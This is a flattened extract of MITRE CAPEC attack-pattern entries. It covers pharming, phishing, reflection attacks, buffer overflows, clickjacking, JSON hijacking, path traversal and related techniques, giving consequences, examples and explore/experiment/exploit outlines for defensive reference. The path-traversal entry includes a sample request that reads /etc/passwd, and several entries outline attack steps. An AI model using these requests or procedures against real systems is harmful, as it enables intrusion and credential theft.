  1. Execute malicious commands: The attacker may steal information, install a back door access mechanism, elevate privileges or compromise the system in some other way.
  2. Techniques
    The attacker executes a command that stores sensitive information into a location where they can retrieve it later (perhaps using a different command injection).
High
  • User controllable input used as part of commands to the underlying operating system.
High: The attacker needs to have knowledge of not only the application to exploit but also the exact nature of commands that pertain to the target operating system. This may involve, though not always, knowledge of specific assembly commands for the platform. Draft High 3.9
248
Pharming Standard A pharming attack occurs when the victim is fooled into entering sensitive data into supposedly trusted locations, such as an online bank site or a trading platform. An attacker can impersonate these supposedly trusted sites and have the victim be directed to their site rather than the originally intended one. Pharming does not require script injection or clicking on malicious links for the attack to succeed. 2014-06-23 02:00:00 Capec: CAPEC-89
Cwe: CWE-346
Cwe: CWE-350
2022-09-29 02:00:00 2.1 Confidentiality:
  • Read Data
Social Engineering
  1. An online bank website requires users to provide their customer ID and password to log on, but does not use a secure connection. An attacker can setup a similar fake site and leverage pharming to collect this information from unknowing victims.

Exploit

  1. Attacker sets up a system mocking the one trusted by the users. This is usually a website that requires or handles sensitive information.
  2. The attacker then poisons the resolver for the targeted site. This is achieved by poisoning the DNS server, or the local hosts file, that directs the user to the original website
  3. When the victim requests the URL for the site, the poisoned records direct the victim to the attackers' system rather than the original one.
  4. Because of the identical nature of the original site and the attacker controlled one, and the fact that the URL is still the original one, the victim trusts the website reached and the attacker can now "farm" sensitive information such as credentials or account numbers.
High
  • Vulnerable DNS software or improperly protected hosts file or router that can be poisoned
  • A website that handles sensitive information but does not use a secure connection and a certificate that is valid is also prone to pharming
  • None: No specialized resources are required to execute this type of attack. Having knowledge of the way the target site has been structured, in order to create a fake version, is required. Poisoning the resolver requires knowledge of a vulnerability that can be exploited.
Medium: The attacker needs to be able to poison the resolver - DNS entries or local hosts file or router entry pointing to a trusted DNS server - in order to successfully carry out a pharming attack. Setting up a fake website, identical to the targeted one, does not require special skills. Draft Very High 3.9
151
Reflection Attack in Authentication Protocol Standard An adversary can abuse an authentication protocol susceptible to reflection attack in order to defeat it. Doing so allows the adversary illegitimate access to the target system, without possessing the requisite credentials. Reflection attacks are of great concern to authentication protocols that rely on a challenge-handshake or similar mechanism. An adversary can impersonate a legitimate user and can gain illegitimate access to the system by successfully mounting a reflection attack during authentication. 2014-06-23 02:00:00 Capec: CAPEC-90
Cwe: CWE-301
Cwe: CWE-303
2021-10-21 02:00:00 2.1 Authorization:
  • Gain Privileges
  • Bypass Protection Mechanism
Access Control:
  • Gain Privileges
  • Bypass Protection Mechanism
Confidentiality:
  • Gain Privileges
  • Bypass Protection Mechanism
  • Read Data
Communications
  1. A single sign-on solution for a network uses a fixed pre-shared key with its clients to initiate the sign-on process in order to avoid eavesdropping on the initial exchanges. An attacker can use a reflection attack to mimic a trusted client on the network to participate in the sign-on exchange.

Explore

  1. Identify service with vulnerable handshake authentication: The adversary must first identify a vulnerable authentication protocol. The most common indication of an authentication protocol vulnerable to reflection attack is when the client initiates the handshake, rather than the server. This allows the client to get the server to encrypt targeted data using the server's pre-shared key.

Experiment

  1. Send challenge to target server: The adversary opens a connection to the target server and sends it a challenge. This challenge is arbitrary and is simply used as a placeholder for the protocol in order to get the server to respond.
  2. Receive server challenge: The server responds by returning the challenge sent encrypted with the server's pre-shared key, as well as its own challenge to the attacker sent in plaintext. We will call this challenge sent by the server "C". C is very important and is stored off by the adversary for the next step.
  3. Initiate second handshake: Since the adversary does not possess the pre-shared key, they cannot encrypt C from the previous step in order for the server to authenticate them. To get around this, the adversary initiates a second connection to the server while still keeping the first connection alive. In the second connection, the adversary sends C as the initial client challenge, which rather than being arbitary like the first connection, is very intentional.
  4. Receive encrypted challenge: The server treats the intial client challenge in connection two as an arbitrary client challenge and responds by encrypting C with the pre-shared key. The server also sends a new challenge. The adversary ignores the server challenge and stores the encrypted version of C. The second connection is either terminated or left to expire by the adversary as it is no longer needed.

Exploit

  1. The adversary now posseses the encrypted version of C that is obtained through connection two. The adversary continues the handshake in connection one by responding to the server with the encrypted version of C, verifying that they have access to the pre-shared key (when they actually do not). Because the server uses the same pre-shared key for all authentication it will decrypt C and authenticate the adversary for the first connection, giving the adversary illegitimate access to the target system.
High
  • The attacker must have direct access to the target server in order to successfully mount a reflection attack. An intermediate entity, such as a router or proxy, that handles these exchanges on behalf of the attacker inhibits the attackers' ability to attack the authentication protocol.
  • All that the attacker requires is a means to observe and understand the protocol exchanges in order to reflect the challenges appropriately.
Medium: The attacker needs to have knowledge of observing the protocol exchange and managing the required connections in order to issue and respond to challenges Draft High 3.9
Cryptanalysis Standard Cryptanalysis is a process of finding weaknesses in cryptographic algorithms and using these weaknesses to decipher the ciphertext without knowing the secret key (instance deduction). Sometimes the weakness is not in the cryptographic algorithm itself, but rather in how it is applied that makes cryptanalysis successful. An attacker may have other goals as well, such as: Total Break (finding the secret key), Global Deduction (finding a functionally equivalent algorithm for encryption and decryption that does not require knowledge of the secret key), Information Deduction (gaining some information about plaintexts or ciphertexts that was not previously known) and Distinguishing Algorithm (the attacker has the ability to distinguish the output of the encryption (ciphertext) from a random permutation of bits). 2014-06-23 02:00:00 Capec: CAPEC-97
Cwe: CWE-327
Cwe: CWE-1204
Cwe: CWE-1240
Cwe: CWE-1241
Cwe: CWE-1279
Owasp Attacks: Cryptanalysis
Reference_from_capec: REF-556
2022-09-29 02:00:00 2.1 Confidentiality:
  • Read Data (In most cases, if cryptanalysis is successful at all, an adversary will not be able to decrypt the entire message, but instead will only be able to deduce some information about the plaintext. However, that may be sufficient for an adversary, depending on the context of the attack.)
Communications
Hardware
  1. A very easy to understand example is a cryptanalysis technique called frequency analysis that can be successfully applied to the very basic classic encryption algorithms that performed mono-alphabetic substitution replacing each letter in the plaintext with its predetermined mapping letter from the same alphabet. This was considered an improvement over a more basic technique that would simply shift all of the letters of the plaintext by some constant number of positions and replace the original letters with the new letter with the resultant alphabet position. While mono-alphabetic substitution ciphers are resilient to blind brute force, they can be broken easily with nothing more than a pen and paper. Frequency analysis uses the fact that natural language is not random and mono-alphabetic substitution does not hide the statistical properties of the natural language. So if the letter "E" in an English language occurs with a certain known frequency (about 12.7%), whatever "E" was substituted with to get to the ciphertext, will occur with the similar frequency. Having this frequency information allows the cryptanalyst to quickly determine the substitutions and decipher the ciphertext. Frequency analysis techniques are not applicable to modern ciphers as they are all resilient to it (unless this is a very bad case of a homegrown encryption algorithm). This example is inapplicable to modern cryptographic ciphers but is here to illustrate a rudimentary example of cryptanalysis.

Explore

  1. An attacker discovers a weakness in the cryptographic algorithm or a weakness in how it was applied to a particular chunk of plaintext.

Exploit

  1. An attacker leverages the discovered weakness to decrypt, partially decrypt or infer some information about the contents of the encrypted message. All of that is done without knowing the secret key.
Low
  • The target software utilizes some sort of cryptographic algorithm.
  • An underlying weaknesses exists either in the cryptographic algorithm used or in the way that it was applied to a particular chunk of plaintext.
  • The encryption algorithm is known to the attacker.
  • An attacker has access to the ciphertext.
  • Computing resource requirements will vary based on the complexity of a given cryptanalysis technique. Access to the encryption/decryption routines of the algorithm is also required.
High: Cryptanalysis generally requires a very significant level of understanding of mathematics and computation. Draft Very High 3.9
192
Phishing Standard Phishing is a social engineering technique where an attacker masquerades as a legitimate entity with which the victim might do business in order to prompt the user to reveal some confidential information (very frequently authentication credentials) that can later be used by an attacker. Phishing is essentially a form of information gathering or "fishing" for information. 2014-06-23 02:00:00 Capec: CAPEC-98
Cwe: CWE-451
Attack: T1566
Attack: T1598
Reference_from_capec: REF-656
2023-01-24 01:00:00 2.1 Integrity:
  • Modify Data
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Gain Privileges
  • Read Data
Social Engineering
  1. The target gets an official looking e-mail from their bank stating that their account has been temporarily locked due to suspected unauthorized activity and that they need to click on the link included in the e-mail to log in to their bank account in order to unlock it. The link in the e-mail looks very similar to that of their bank and once the link is clicked, the log in page is the exact replica. The target supplies their login credentials after which they are notified that their account has now been unlocked and that everything is fine. An attacker has just collected the target's online banking information which can now be used by the attacker to log into the target's bank account and transfer money to a bank account of the attackers' choice.
  2. An adversary may use BlueJacking, or Bluetooth Phishing to send unsolicited contact cards, messages, or pictures to nearby devices that are listening via Bluetooth. These messages may contain phishing content.

Explore

  1. Obtain domain name and certificate to spoof legitimate site: This optional step can be used to help the attacker impersonate the legitimate site more convincingly. The attacker can use homograph attacks to convince users that they are using the legitimate website. Note that this step is not required for phishing attacks, and many phishing attacks simply supply URLs containing an IP address and no SSL certificate.
  2. Techniques
    Optionally obtain a domain name that visually looks similar to the legitimate site's domain name. An example is www.paypaI.com vs. www.paypal.com (the first one contains a capital i, instead of a lower case L)
    Optionally obtain a legitimate SSL certificate for the new domain name.
  3. Explore legitimate website and create duplicate: An attacker creates a website (optionally at a URL that looks similar to the original URL) that closely resembles the website that they are trying to impersonate. That website will typically have a login form for the victim to put in their authentication credentials. There can be different variations on a theme here.
  4. Techniques
    Use spidering software to get copy of web pages on legitimate site.
    Manually save copies of required web pages from legitimate site.
    Create new web pages that have the legitimate site's look and feel, but contain completely new content.

Exploit

  1. Convince user to enter sensitive information on attacker's site.: An attacker sends an e-mail to the victim that has some sort of a call to action to get the user to click on the link included in the e-mail (which takes the victim to attacker's website) and log in. The key is to get the victim to believe that the e-mail is coming from a legitimate entity with which the victim does business and that the website pointed to by the URL in the e-mail is the legitimate website. A call to action will usually need to sound legitimate and urgent enough to prompt action from the user.
  2. Techniques
    Send the user a message from a spoofed legitimate-looking e-mail address that asks the user to click on the included link.
    Place phishing link in post to online forum.
  3. Use stolen credentials to log into legitimate site: Once the attacker captures some sensitive information through phishing (login credentials, credit card information, etc.) the attacker can leverage this information. For instance, the attacker can use the victim's login credentials to log into their bank account and transfer money to an account of their choice.
  4. Techniques
    Log in to the legitimate site using another user's supplied credentials
High
  • An attacker needs to have a way to initiate contact with the victim. Typically that will happen through e-mail.
  • An attacker needs to correctly guess the entity with which the victim does business and impersonate it. Most of the time phishers just use the most popular banks/services and send out their "hooks" to many potential victims.
  • An attacker needs to have a sufficiently compelling call to action to prompt the user to take action.
  • The replicated website needs to look extremely similar to the original website and the URL used to get to that website needs to look like the real URL of the said business entity.
  • Some web development tools to put up a fake website.
Medium: Basic knowledge about websites: obtaining them, designing and implementing them, etc. Draft Very High 3.9
151
DEPRECATED: XML Parser Attack Standard This attack pattern has been deprecated as it a generalization of CAPEC-230: XML Nested Payloads and CAPEC-231: XML Oversized Payloads. Please refer to these CAPECs going forward. 2014-06-23 02:00:00 Capec: CAPEC-99
2019-09-30 02:00:00 2.1 None None Deprecated None 3.9
Overflow Buffers Standard Buffer Overflow attacks target improper or missing bounds checking on buffer operations, typically triggered by input injected by an adversary. As a consequence, an adversary is able to write past the boundaries of allocated buffer regions in memory, causing a program crash or potentially redirection of execution as per the adversaries' choice. 2014-06-23 02:00:00 Capec: CAPEC-100
Cwe: CWE-120
Cwe: CWE-119
Cwe: CWE-131
Cwe: CWE-129
Cwe: CWE-805
Cwe: CWE-680
Wasc: 07
Owasp Attacks: Buffer overflow attack
Reference_from_capec: REF-620
2021-10-21 02:00:00 2.1 Integrity:
  • Execute Unauthorized Commands (Run Arbitrary Code)
Availability:
  • Unreliable Execution
  • Execute Unauthorized Commands (Run Arbitrary Code)
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Gain Privileges
Software
  1. The most straightforward example is an application that reads in input from the user and stores it in an internal buffer but does not check that the size of the input data is less than or equal to the size of the buffer. If the user enters excessive length data, the buffer may overflow leading to the application crashing, or worse, enabling the user to cause execution of injected code.
  2. Many web servers enforce security in web applications through the use of filter plugins. An example is the SiteMinder plugin used for authentication. An overflow in such a plugin, possibly through a long URL or redirect parameter, can allow an adversary not only to bypass the security checks but also execute arbitrary code on the target web server in the context of the user that runs the web server process.

Explore

  1. Identify target application: The adversary identifies a target application or program to perform the buffer overflow on. Adversaries often look for applications that accept user input and that perform manual memory management.

Experiment

  1. Find injection vector: The adversary identifies an injection vector to deliver the excessive content to the targeted application's buffer.
  2. Techniques
    Provide large input to a program or application and observe the behavior. If there is a crash, this means that a buffer overflow attack is possible.
  3. Craft overflow content: The adversary crafts the content to be injected. If the intent is to simply cause the software to crash, the content need only consist of an excessive quantity of random data. If the intent is to leverage the overflow for execution of arbitrary code, the adversary crafts the payload in such a way that the overwritten return address is replaced with one of the adversary's choosing.
  4. Techniques
    Create malicious shellcode that will execute when the program execution is returned to it.
    Use a NOP-sled in the overflow content to more easily "slide" into the malicious code. This is done so that the exact return address need not be correct, only in the range of all of the NOPs

Exploit

  1. Overflow the buffer: Using the injection vector, the adversary injects the crafted overflow content into the buffer.
High
  • Targeted software performs buffer operations.
  • Targeted software inadequately performs bounds-checking on buffer operations.
  • Adversary has the capability to influence the input to buffer operations.
  • None: No specialized resources are required to execute this type of attack. Detecting and exploiting a buffer overflow does not require any resources beyond knowledge of and access to the target system.
Low: In most cases, overflowing a buffer does not require advanced skills beyond the ability to notice an overflow and stuff an input variable with content. High: In cases of directed overflows, where the motive is to divert the flow of the program or application as per the adversaries' bidding, high level skills are required. This may involve detailed knowledge of the target system architecture and kernel. Draft Very High 3.9
123
Clickjacking Standard An adversary tricks a victim into unknowingly initiating some action in one system while interacting with the UI from a seemingly completely different, usually an adversary controlled or intended, system. While being logged in to some target system, the victim visits the adversary's malicious site which displays a UI that the victim wishes to interact with. In reality, the clickjacked page has a transparent layer above the visible UI with action controls that the adversary wishes the victim to execute. The victim clicks on buttons or other UI elements they see on the page which actually triggers the action controls in the transparent overlaying layer. Depending on what that action control is, the adversary may have just tricked the victim into executing some potentially privileged (and most certainly undesired) functionality in the target system to which the victim is authenticated. The basic problem here is that there is a dichotomy between what the victim thinks they are clicking on versus what they are actually clicking on. 2014-06-23 02:00:00 Capec: CAPEC-103
Cwe: CWE-1021
Owasp Attacks: Clickjacking
Reference_from_capec: REF-619
2022-09-29 02:00:00 2.1 Integrity:
  • Modify Data
Availability:
  • Unreliable Execution
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Gain Privileges
  • Read Data
Social Engineering
Software
  1. A victim has an authenticated session with a site that provides an electronic payment service to transfer funds between subscribing members. At the same time, the victim receives an e-mail that appears to come from an online publication to which they subscribe with links to today's news articles. The victim clicks on one of these links and is taken to a page with the news story. There is a screen with an advertisement that appears on top of the news article with the 'skip this ad' button. Eager to read the news article, the user clicks on this button. Nothing happens. The user clicks on the button one more time and still nothing happens. In reality, the victim activated a hidden action control located in a transparent layer above the 'skip this ad' button. The ad screen blocking the news article made it likely that the victim would click on the 'skip this ad' button. Clicking on the button, actually initiated the transfer of $1000 from the victim's account with an electronic payment service to an adversary's account. Clicking on the 'skip this ad' button the second time (after nothing seemingly happened the first time) confirmed the transfer of funds to the electronic payment service.

Experiment

  1. Craft a clickjacking page: The adversary utilizes web page layering techniques to try to craft a malicious clickjacking page
  2. Techniques
    The adversary leveraged iframe overlay capabilities to craft a malicious clickjacking page
    The adversary leveraged Flash file overlay capabilities to craft a malicious clickjacking page
    The adversary leveraged Silverlight overlay capabilities to craft a malicious clickjacking page
    The adversary leveraged cross-frame scripting to craft a malicious clickjacking page

Exploit

  1. Adversary lures victim to clickjacking page: Adversary utilizes some form of temptation, misdirection or coercion to lure the victim to loading and interacting with the clickjacking page in a way that increases the chances that the victim will click in the right areas.
  2. Techniques
    Lure the victim to the malicious site by sending the victim an e-mail with a URL to the site.
    Lure the victim to the malicious site by manipulating URLs on a site trusted by the victim.
    Lure the victim to the malicious site through a cross-site scripting attack.
  3. Trick victim into interacting with the clickjacking page in the desired manner: The adversary tricks the victim into clicking on the areas of the UI which contain the hidden action controls and thereby interacts with the target system maliciously with the victim's level of privilege.
  4. Techniques
    Hide action controls over very commonly used functionality.
    Hide action controls over very psychologically tempting content.
Medium
  • The victim is communicating with the target application via a web based UI and not a thick client
  • The victim's browser security policies allow at least one of the following JavaScript, Flash, iFrames, ActiveX, or CSS.
  • The victim uses a modern browser that supports UI elements like clickable buttons (i.e. not using an old text only browser)
  • The victim has an active session with the target system.
  • The target system's interaction window is open in the victim's browser and supports the ability for initiating sensitive actions on behalf of the user in the target system
  • None: No specialized resources are required to execute this type of attack.
High: Crafting the proper malicious site and luring the victim to this site are not trivial tasks. Draft High 3.9
173
Cross Zone Scripting Standard An attacker is able to cause a victim to load content into their web-browser that bypasses security zone controls and gain access to increased privileges to execute scripting code or other web objects such as unsigned ActiveX controls or applets. This is a privilege elevation attack targeted at zone- based web-browser security. In a zone-based model, pages belong to one of a set of zones corresponding to the level of privilege assigned to that page. Pages in an untrusted zone would have a lesser level of access to the system and/or be restricted in the types of executable content it was allowed to invoke. In a cross-zone scripting attack, a page that should be assigned to a less privileged zone is granted the privileges of a more trusted zone. This can be accomplished by exploiting bugs in the browser, exploiting incorrect configuration in the zone controls, through a cross-site scripting attack that causes the attackers' content to be treated as coming from a more trusted page, or by leveraging some piece of system functionality that is accessible from both the trusted and less trusted zone. This attack differs from "Restful Privilege Escalation" in that the latter correlates to the inadequate securing of RESTful access methods (such as HTTP DELETE) on the server, while cross-zone scripting attacks the concept of security zones as implemented by a browser. 2014-06-23 02:00:00 Capec: CAPEC-104
Cwe: CWE-250
Cwe: CWE-638
Cwe: CWE-285
Cwe: CWE-116
Cwe: CWE-20
2022-02-22 01:00:00 2.1 Integrity:
  • Modify Data
  • Execute Unauthorized Commands (Run Arbitrary Code)
Availability:
  • Execute Unauthorized Commands (Run Arbitrary Code)
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Read Data
  • Gain Privileges
  • Execute Unauthorized Commands (Run Arbitrary Code)
Software
  1. There was a cross zone scripting vulnerability discovered in Skype that allowed one user to upload a video with a maliciously crafted title that contains a script. Subsequently, when the victim attempts to use the "add video to chat" feature on attacker's video, the script embedded in the title of the video runs with local zone privileges. Skype is using IE web controls to render internal and external HTML pages. "Add video to chat" uses these web controls and they are running in the Local Zone. Any user who searched for the video in Skype with the same keywords as in the title field, would have the attackers' code executing in their browser with local zone privileges to their host machine (e.g. applications on the victim's host system could be executed).

Explore

  1. Find systems susceptible to the attack: Find systems that contain functionality that is accessed from both the internet zone and the local zone. There needs to be a way to supply input to that functionality from the internet zone and that original input needs to be used later on a page from a local zone.
  2. Techniques
    Leverage knowledge of common local zone functionality on targeted platforms to guide attempted injection of code through relevant internet zone mechanisms. In some cases this may be due to standard system configurations enabling shared functionality between internet and local zones. The attacker can search for indicators that these standard configurations are in place.

Experiment

  1. Find the insertion point for the payload: The attacker first needs to find some system functionality or possibly another weakness in the system (e.g. susceptibility to cross site scripting) that would provide the attacker with a mechanism to deliver the payload (i.e. the code to be executed) to the user. The location from which this code is executed in the user's browser needs to be within the local machine zone.
  2. Techniques
    Finding weaknesses in functionality used by both privileged and unprivileged users.

Exploit

  1. Craft and inject the payload: Develop the payload to be executed in the higher privileged zone in the user's browser. Inject the payload and attempt to lure the victim (if possible) into executing the functionality which unleashes the payload.
  2. Techniques
    The attacker makes it as likely as possible that the vulnerable functionality into which they have injected the payload has a high likelihood of being used by the victim.
    Leverage cross-site scripting vulnerability to inject payload.
Medium
  • The target must be using a zone-aware browser.
  • None: No specialized resources are required to execute this type of attack.
Medium: Ability to craft malicious scripts or find them elsewhere and ability to identify functionality that is running web controls in the local zone and to find an injection vector into that functionality Draft High 3.9
233
JSON Hijacking (aka JavaScript Hijacking) Standard An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website. An attacker gets the victim to visit their malicious page that contains a script tag whose source points to the vulnerable system with a URL that requests a response from the server containing a JSON object with possibly confidential information. The malicious page also contains malicious code to capture the JSON object returned by the server before any other processing on it can take place, typically by overriding the JavaScript function used to create new objects. This hook allows the malicious code to get access to the creation of each object and transmit the possibly sensitive contents of the captured JSON object to the attackers' server. There is nothing in the browser's security model to prevent the attackers' malicious JavaScript code (originating from attacker's domain) to set up an environment (as described above) to intercept a JSON object response (coming from the vulnerable target system's domain), read its contents and transmit to the attackers' controlled site. The same origin policy protects the domain object model (DOM), but not the JSON. 2014-06-23 02:00:00 Capec: CAPEC-111
Cwe: CWE-345
Cwe: CWE-346
Cwe: CWE-352
2022-09-29 02:00:00 2.1 Confidentiality:
  • Read Data
Software
  1. Gmail service was found to be vulnerable to a JSON Hijacking attack that enabled an attacker to get the contents of the victim's address book. An attacker could send an e-mail to the victim's Gmail account (which ensures that the victim is logged in to Gmail when they receive it) with a link to the attackers' malicious site. If the victim clicked on the link, a request (containing the victim's authenticated session cookie) would be sent to the Gmail servers to fetch the victim's address book. This functionality is typically used by the Gmail service to get this data on the fly so that the user can be provided a list of contacts from which to choose the recipient of the e-mail. When the JSON object with the contacts came back, it was loaded into the JavaScript space via a script tag on the attackers' malicious page. Since the JSON object was never assigned to a local variable (which would have prevented a script from a different domain accessing it due to the browser's same origin policy), another mechanism was needed to access the data that it contained. That mechanism was overwriting the internal array constructor with the attackers' own constructor in order to gain access to the JSON object's contents. These contents could then be transferred to the site controlled by the attacker.

Explore

  1. Understand How to Request JSON Responses from the Target System: An attacker first explores the target system to understand what URLs need to be provided to it in order to retrieve JSON objects that contain information of interest to the attacker.
  2. Techniques
    An attacker creates an account with the target system and observes requests and the corresponding JSON responses from the server. Understanding how to properly elicit responses from the server is crucial to the attackers' ability to craft the exploit.

Experiment

  1. [Craft a malicious website]The attacker crafts a malicious website to which they plan to lure the victim who is using the vulnerable target system. The malicious website does two things: 1. Contains a hook that intercepts incoming JSON objects, reads their contents and forwards the contents to the server controlled by the attacker (via a new XMLHttpRequest). 2. Uses the script tag with a URL in the source that requests a JSON object from the vulnerable target system. Once the JSON object is transmitted to the victim's browser, the malicious code (as described in step 1) intercepts that JSON object, steals its contents, and forwards to the attacker. This attack step leverages the fact that the same origin policy in the browser does not protect JavaScript originating from one domain from setting up an environment to intercept and access JSON objects arriving from a completely different domain.

Exploit

  1. Launch JSON hijack: An attacker lures the victim to the malicious website or leverages other means to get their malicious code executing in the victim's browser. Once that happens, the malicious code makes a request to the victim target system to retrieve a JSON object with sensitive information. The request includes the victim's session cookie if the victim is logged in.
  2. Techniques
    An attacker employs a myriad of standard techniques to get the victim to visit their malicious site or by some other means get the attackers' malicious code executing in the victim's browser.
High
  • JSON is used as a transport mechanism between the client and the server
  • The target server cannot differentiate real requests from forged requests
  • The JSON object returned from the server can be accessed by the attackers' malicious code via a script tag
  • None: No specialized resources are required to execute this type of attack.
Medium: Once this attack pattern is developed and understood, creating an exploit is not very complex.The attacker needs to have knowledge of the URLs that need to be accessed on the target system to request the JSON objects. Draft High 3.9
212
Exploit Non-Production Interfaces Standard An adversary exploits a sample, demonstration, test, or debug interface that is unintentionally enabled on a production system, with the goal of gleaning information or leveraging functionality that would otherwise be unavailable. Non-production interfaces are insecure by default and should not be resident on production systems, since they may reveal sensitive information or functionality that should not be known to end-users. However, such interfaces may be unintentionally left enabled on a production system due to configuration errors, supply chain mismanagement, or other pre-deployment activities. Ultimately, failure to properly disable non-production interfaces, in a production environment, may expose a great deal of diagnostic information or functionality to an adversary, which can be utilized to further refine their attack. Moreover, many non-production interfaces do not have adequate security controls or may not have undergone rigorous testing since they were not intended for use in production environments. As such, they may contain many flaws and vulnerabilities that could allow an adversary to severely disrupt a target. 2014-06-23 02:00:00 Capec: CAPEC-121
Cwe: CWE-489
Cwe: CWE-1209
Cwe: CWE-1259
Cwe: CWE-1267
Cwe: CWE-1270
Cwe: CWE-1294
Cwe: CWE-1295
Cwe: CWE-1296
Cwe: CWE-1302
Cwe: CWE-1313
Reference_from_capec: REF-588
Reference_from_capec: REF-589
2023-01-24 01:00:00 2.1 Integrity:
  • Modify Data
  • Alter Execution Logic
Authorization:
  • Read Data
  • Execute Unauthorized Commands
Access Control:
  • Modify Data
  • Alter Execution Logic
Authentication:
  • Gain Privileges
  • Bypass Protection Mechanism
Confidentiality:
  • Gain Privileges
  • Bypass Protection Mechanism
  • Read Data
  • Execute Unauthorized Commands
Software
Hardware
  1. Some software applications include application programming interfaces (APIs) that are intended to allow an administrator to test and refine their domain. These APIs are typically disabled once a system enters a production environment, but may be left in an insecure state due to a configuration error or mismanagement.
  2. Many hardware systems leverage bits typically reserved for future functionality for testing and debugging purposes. If these reserved bits remain enabled in a production environment, it could allow an adversary to induce unwanted/unsupported behavior in the hardware.

Explore

  1. Determine Vulnerable Interface: An adversary explores a target system for sample or test interfaces that have not been disabled by a system administrator and which may be exploitable by the adversary.
  2. Techniques
    If needed, the adversary explores an organization's network to determine if any specific systems of interest exist.

Exploit

  1. Leverage Test Interface to Execute Attacks: Once an adversary has discovered a system with a non-production interface, the interface is leveraged to exploit the system and/or conduct various attacks.
  2. Techniques
    The adversary can leverage the sample or test interface to conduct several types of attacks such as Adversary-in-the-Middle attacks (CAPEC-94), keylogging, Cross Site Scripting (XSS), hardware manipulation attacks, and more.
Low
  • The target must have configured non-production interfaces and failed to secure or remove them when brought into a production environment.
  • For some interfaces, the adversary will need that appropriate client application or hardware that interfaces with the interface. Other non- production interfaces can be executed using simple tools, such as web browsers or console windows. In some cases, an adversary may need to be able to authenticate to the target before it can access the vulnerable interface.
High: Exploiting non-production interfaces requires significant skill and knowledge about the potential non-production interfaces left enabled in production. Stable High 3.9
661
113
Path Traversal Standard An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \\) and/or dots (.)) to reach desired directories or files. 2014-06-23 02:00:00 Capec: CAPEC-126
Cwe: CWE-22
Wasc: 33
Owasp Attacks: Path Traversal
Reference_from_capec: REF-1
Reference_from_capec: REF-9
Reference_from_capec: REF-10
2022-09-29 02:00:00 2.1
  • Directory Traversal
Integrity:
  • Execute Unauthorized Commands (The attacker may be able to create or overwrite critical files that are used to execute code, such as programs or libraries.)
  • Modify Data (The attacker may be able to overwrite or create critical files, such as programs, libraries, or important data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, appending a new account at the end of a password file may allow an attacker to bypass authentication.)
Availability:
  • Execute Unauthorized Commands (The attacker may be able to create or overwrite critical files that are used to execute code, such as programs or libraries.)
  • Unreliable Execution (The attacker may be able to overwrite, delete, or corrupt unexpected critical files such as programs, libraries, or important data. This may prevent the software from working at all and in the case of a protection mechanisms such as authentication, it has the potential to lockout every user of the software.)
Confidentiality:
  • Execute Unauthorized Commands (The attacker may be able to create or overwrite critical files that are used to execute code, such as programs or libraries.)
  • Read Data (The attacker may be able read the contents of unexpected files and expose sensitive data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, by reading a password file, the attacker could conduct brute force password guessing attacks in order to break into an account on the system.)
Software
  1. An example of using path traversal to attack some set of resources on a web server is to use a standard HTTP request http://example/../../../../../etc/passwd From an attacker point of view, this may be sufficient to gain access to the password file on a poorly protected system. If the attacker can list directories of critical resources then read only access is not sufficient to protect the system.

Explore

  1. Fingerprinting of the operating system: In order to perform a valid path traversal, the attacker needs to know what the underlying OS is so that the proper file seperator is used.
  2. Techniques
    Port mapping. Identify ports that the system is listening on, and attempt to identify inputs and protocol types on those ports.
    TCP/IP Fingerprinting. The attacker uses various software to make connections or partial connections and observe idiosyncratic responses from the operating system. Using those responses, they attempt to guess the actual operating system.
    Induce errors to find informative error messages
  3. Survey the Application to Identify User-controllable Inputs: The attacker surveys the target application to identify all user-controllable file inputs

Experiment

  1. Vary inputs, looking for malicious results: Depending on whether the application being exploited is a remote or local one, the attacker crafts the appropriate malicious input containing the path of the targeted file or other file system control syntax to be passed to the application

Exploit

  1. Manipulate files accessible by the application: The attacker may steal information or directly manipulate files (delete, copy, flush, etc.)
High
  • The attacker must be able to control the path that is requested of the target.
  • The target must fail to adequately sanitize incoming paths
  • The ability to manually manipulate path information either directly through a client application relative to the service or application or via a proxy application.
Low: Simple command line attacks or to inject the malicious payload in a web page. Medium: Customizing attacks to bypass non trivial filters in the application. Draft Very High 3.9
153
Integer Attacks Standard An attacker takes advantage of the structure of integer variables to cause these variables to assume values that are not expected by an application. For example, adding one to the largest positive integer in a signed integer variable results in a negative number. Negative numbers may be illegal in an application and the application may prevent an attacker from providing them directly, but the application may not consider that adding two positive numbers can create a negative number do to the structure of integer storage formats. 2014-06-23 02:00:00 Capec: CAPEC-128
Cwe: CWE-682
2017-08-04 02:00:00 2.1 Software
None None
  • The target application must have an integer variable for which only some of the possible integer values are expected by the application and where there are no checks on the value of the variable before use.
  • The attacker must be able to manipulate the targeted integer variable such that normal operations result in non-standard values due to the storage structure of integers.
  • None: No specialized resources are required to execute this type of attack.
Draft Medium 3.9
92
153
Try All Common Switches Standard An attacker attempts to invoke all common switches and options in the target application for the purpose of discovering weaknesses in the target. For example, in some applications, adding a --debug switch causes debugging information to be displayed, which can sometimes reveal sensitive processing or configuration information to an attacker. This attack differs from other forms of API abuse in that the attacker is indiscriminately attempting to invoke options in the hope that one of them will work rather than specifically targeting a known option. Nonetheless, even if the attacker is familiar with the published options of a targeted application this attack method may still be fruitful as it might discover unpublicized functionality. 2014-06-23 02:00:00 Capec: CAPEC-133
Cwe: CWE-912
2021-10-21 02:00:00 2.1 Software

Explore

  1. Identify application: Discover an application of interest by exploring service registry listings or by connecting on a known port or some similar means.
  2. Techniques
    Search via internet for known, published applications that allow option switches.
